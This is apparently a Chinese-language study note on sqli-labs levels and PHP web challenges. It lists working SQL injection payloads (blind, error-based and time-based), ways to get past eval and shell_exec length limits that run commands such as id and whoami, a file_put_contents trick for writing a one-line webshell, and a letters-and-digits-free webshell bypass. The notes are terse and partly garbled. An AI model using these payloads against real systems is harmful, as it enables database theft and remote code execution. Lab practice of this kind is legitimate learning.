目录
函数
1.当substring()和substr()无法使用时:select * from security.users where id=1 and ascii(mid(database(),1,1))=115;
2.从左边开始查:select * from security.users where id=1 and ascii(left(database(),1))=115;
HTTP参数污染案例
EVAL长度限制突破方法
1.代码:
<?php $param = $_REQUEST['param'];
if ( strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false )
{ eval($param); }
2.自动把代码执行命令执行:?param=echo`$_GET[1]`;&1=id 是反引号`
3.?param=echo`$_GET[1]`;&1=whoami
4.创建111.txt的文件:?param=echo`$_GET[1]`;&1=touch /tmp/111.txt
1.传递文件,N是文件名,P是一句话木马p64的编码,8:?1=file_put_contents¶m=$_GET[1](N,P,8);
2.?1[]=test&1[]phpinfo();&2=assert
第46关
1.查看源码有回显,使用报错注入查看用户名:?sort=1 and updatexml(1,concat(0x7e,user(),0x7e),1)
第48关
1.使用盲注ascii截取数据库长度排序:?sort=rand(ascii(substr(database(),1,1))>114)
2.1.使用盲注ascii截取数据库长度排序:?sort=rand(ascii(substr(database(),1,1))>115)
第49关
1.使用sort排序无效,都是一个界面:
2.使用rand函数来随机排序:?sort=3' and rand(true)--+
3.使用时间盲注,每一个用户都沉睡2s,写入错误的不沉睡直接出来:?sort=1' and if((ascii(substr(database(),1,1))>110),sleep(2),0)--+
Linux命令长度限制突破方法
1.代码:<?php $param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{ echo shell_exec($param); }
2.执行id命令:?parm=id
3.通过重定向写入文件:?param=w>a
无字母数字webshell之命令执行
1.代码:<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
2.在7.3版本,可以通过url编码绕过:?code=(~%8F%97%8F%96%91%99%90)();
3.进行取反操作:echo urlencode(~'phpinfo');exit;
4.在php5.6版本,输入上传文件代码:
<form action="web.php" method="post" enctype="multipart/form-data">
<input type="file" name="" id="">
<input type="submit" value="submit">
5.上传文件就能到web.php里面去,然后生成临时文件:
6.抓包POST传参
7.抓包get传参